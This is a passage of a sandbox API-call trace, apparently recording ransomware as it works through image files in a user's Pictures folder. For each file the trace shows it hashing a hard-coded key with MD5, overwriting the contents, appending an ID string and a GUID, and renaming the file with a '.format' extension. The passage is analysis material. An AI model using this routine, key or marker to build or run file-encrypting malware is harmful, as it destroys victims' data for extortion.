| out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.573] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0068.573] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.573] GetLastError () returned 0x0 [0068.573] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.573] CryptReleaseContext (hProv=0x6abd70, dwFlags=0x0) returned 1 [0068.573] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0068.573] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8d0) returned 0x3178dd8 [0068.573] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0068.573] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0068.573] WriteFile (in: hFile=0x5c8, lpBuffer=0x3178dd8*, nNumberOfBytesToWrite=0x8c2, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x3178dd8*, lpNumberOfBytesWritten=0x38cfb24*=0x8c2, lpOverlapped=0x0) returned 1 [0068.573] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.574] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x8c7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.574] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0068.574] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0068.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0068.574] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0068.574] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178120 | out: hHeap=0x5d0000) returned 1 [0068.574] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cdf8 | out: hHeap=0x5d0000) returned 1 [0068.574] WriteFile (in: hFile=0x5c8, lpBuffer=0x3289700*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x3289700*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0068.574] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0068.574] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.574] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.574] CloseHandle (hObject=0x5c8) returned 1 [0068.575] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283be0 [0068.575] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8c0) returned 0x3178dd8 [0068.575] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283be0 | out: hHeap=0x5d0000) returned 1 [0068.575] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\kC1ICfT8pFYQG\\CabPSqWIP4Gw.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\llzj-da3lc0sad\\kc1icft8pfyqg\\cabpsqwip4gw.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\kC1ICfT8pFYQG\\CabPSqWIP4Gw.gif.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\llzj-da3lc0sad\\kc1icft8pfyqg\\cabpsqwip4gw.gif.format")) returned 1 [0068.576] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.576] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.577] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31021f8 | out: hHeap=0x5d0000) returned 1 [0068.577] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b890be0, ftCreationTime.dwHighDateTime=0x1d4c6e0, ftLastAccessTime.dwLowDateTime=0x9534dd30, ftLastAccessTime.dwHighDateTime=0x1d4c58c, ftLastWriteTime.dwLowDateTime=0x9534dd30, ftLastWriteTime.dwHighDateTime=0x1d4c58c, nFileSizeHigh=0x0, nFileSizeLow=0x26f0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IlZLf8gCsW02mWS.png", cAlternateFileName="ILZLF8~1.PNG")) returned 1 [0068.577] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.577] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd6) returned 0x31021f8 [0068.577] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.577] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\kC1ICfT8pFYQG\\IlZLf8gCsW02mWS.png") returned=".png" [0068.577] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\kC1ICfT8pFYQG\\IlZLf8gCsW02mWS.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\llzj-da3lc0sad\\kc1icft8pfyqg\\ilzlf8gcsw02mws.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.577] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=9968) returned 1 [0068.577] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.580] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x26ca, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.580] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.581] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0068.581] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0068.581] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.581] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x26f0, lpOverlapped=0x0) returned 1 [0068.581] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.581] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0068.581] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.581] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.581] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abd70) returned 1 [0068.582] CryptCreateHash (in: hProv=0x6abd70, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.582] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.582] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.582] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0068.582] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.582] GetLastError () returned 0x0 [0068.582] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.582] CryptReleaseContext (hProv=0x6abd70, dwFlags=0x0) returned 1 [0068.582] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0068.582] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x26f0) returned 0x32aa8e0 [0068.582] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0068.582] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0068.582] WriteFile (in: hFile=0x5c8, lpBuffer=0x32aa8e0*, nNumberOfBytesToWrite=0x26eb, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32aa8e0*, lpNumberOfBytesWritten=0x38cfb24*=0x26eb, lpOverlapped=0x0) returned 1 [0068.583] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32aa8e0 | out: hHeap=0x5d0000) returned 1 [0068.583] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x26f0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.583] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0068.583] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0068.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0068.583] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0068.583] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178120 | out: hHeap=0x5d0000) returned 1 [0068.583] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cdf8 | out: hHeap=0x5d0000) returned 1 [0068.583] WriteFile (in: hFile=0x5c8, lpBuffer=0x3289700*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x3289700*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0068.583] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0068.583] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.583] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.583] CloseHandle (hObject=0x5c8) returned 1 [0068.584] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283be0 [0068.584] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8c0) returned 0x3178dd8 [0068.584] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283be0 | out: hHeap=0x5d0000) returned 1 [0068.584] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\kC1ICfT8pFYQG\\IlZLf8gCsW02mWS.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\llzj-da3lc0sad\\kc1icft8pfyqg\\ilzlf8gcsw02mws.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\kC1ICfT8pFYQG\\IlZLf8gCsW02mWS.png.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\llzj-da3lc0sad\\kc1icft8pfyqg\\ilzlf8gcsw02mws.png.format")) returned 1 [0068.585] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.585] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.586] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31021f8 | out: hHeap=0x5d0000) returned 1 [0068.586] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95a3e620, ftCreationTime.dwHighDateTime=0x1d4d447, ftLastAccessTime.dwLowDateTime=0x301b74d0, ftLastAccessTime.dwHighDateTime=0x1d4d48d, ftLastWriteTime.dwLowDateTime=0x301b74d0, ftLastWriteTime.dwHighDateTime=0x1d4d48d, nFileSizeHigh=0x0, nFileSizeLow=0xbc18, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qcM60n59qzNSf.jpg", cAlternateFileName="QCM60N~1.JPG")) returned 1 [0068.586] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.586] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd6) returned 0x31021f8 [0068.586] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.586] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\kC1ICfT8pFYQG\\qcM60n59qzNSf.jpg") returned=".jpg" [0068.586] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\kC1ICfT8pFYQG\\qcM60n59qzNSf.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\llzj-da3lc0sad\\kc1icft8pfyqg\\qcm60n59qznsf.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.586] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=48152) returned 1 [0068.586] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.589] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xbbf2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.589] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.589] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0068.589] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0068.589] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.590] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0xbc18, lpOverlapped=0x0) returned 1 [0068.590] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.590] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0068.590] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.590] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.590] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abd70) returned 1 [0068.591] CryptCreateHash (in: hProv=0x6abd70, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.591] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.591] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.591] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0068.591] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.591] GetLastError () returned 0x0 [0068.591] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.591] CryptReleaseContext (hProv=0x6abd70, dwFlags=0x0) returned 1 [0068.591] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0068.591] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xbc20) returned 0x32b2f40 [0068.591] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0068.591] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0068.591] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0xbc13, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0xbc13, lpOverlapped=0x0) returned 1 [0068.592] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0068.592] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xbc18, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.592] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0068.592] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0068.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0068.592] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0068.592] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178120 | out: hHeap=0x5d0000) returned 1 [0068.592] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cdf8 | out: hHeap=0x5d0000) returned 1 [0068.592] WriteFile (in: hFile=0x5c8, lpBuffer=0x3289700*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x3289700*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0068.592] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0068.592] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.592] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.592] CloseHandle (hObject=0x5c8) returned 1 [0068.593] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283be0 [0068.593] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8c0) returned 0x3178dd8 [0068.593] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283be0 | out: hHeap=0x5d0000) returned 1 [0068.593] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\kC1ICfT8pFYQG\\qcM60n59qzNSf.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\llzj-da3lc0sad\\kc1icft8pfyqg\\qcm60n59qznsf.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\kC1ICfT8pFYQG\\qcM60n59qzNSf.jpg.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\llzj-da3lc0sad\\kc1icft8pfyqg\\qcm60n59qznsf.jpg.format")) returned 1 [0068.594] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.594] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.595] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31021f8 | out: hHeap=0x5d0000) returned 1 [0068.595] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xceba7ec0, ftCreationTime.dwHighDateTime=0x1d4c8ed, ftLastAccessTime.dwLowDateTime=0xc1859b0, ftLastAccessTime.dwHighDateTime=0x1d4cb58, ftLastWriteTime.dwLowDateTime=0xc1859b0, ftLastWriteTime.dwHighDateTime=0x1d4cb58, nFileSizeHigh=0x0, nFileSizeLow=0x741, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="v-hwxlt-kD.gif", cAlternateFileName="V-HWXL~1.GIF")) returned 1 [0068.595] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.595] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd6) returned 0x31021f8 [0068.595] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.595] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\kC1ICfT8pFYQG\\v-hwxlt-kD.gif") returned=".gif" [0068.595] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\kC1ICfT8pFYQG\\v-hwxlt-kD.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\llzj-da3lc0sad\\kc1icft8pfyqg\\v-hwxlt-kd.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.595] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=1857) returned 1 [0068.595] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.598] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x71b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.598] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.599] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0068.599] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0068.599] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.599] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x741, lpOverlapped=0x0) returned 1 [0068.599] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.599] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0068.599] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.599] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.599] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abd70) returned 1 [0068.600] CryptCreateHash (in: hProv=0x6abd70, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.600] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.600] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.600] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0068.600] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.600] GetLastError () returned 0x0 [0068.600] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.600] CryptReleaseContext (hProv=0x6abd70, dwFlags=0x0) returned 1 [0068.600] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0068.600] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x740) returned 0x3178dd8 [0068.600] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0068.600] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0068.600] WriteFile (in: hFile=0x5c8, lpBuffer=0x3178dd8*, nNumberOfBytesToWrite=0x73c, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: 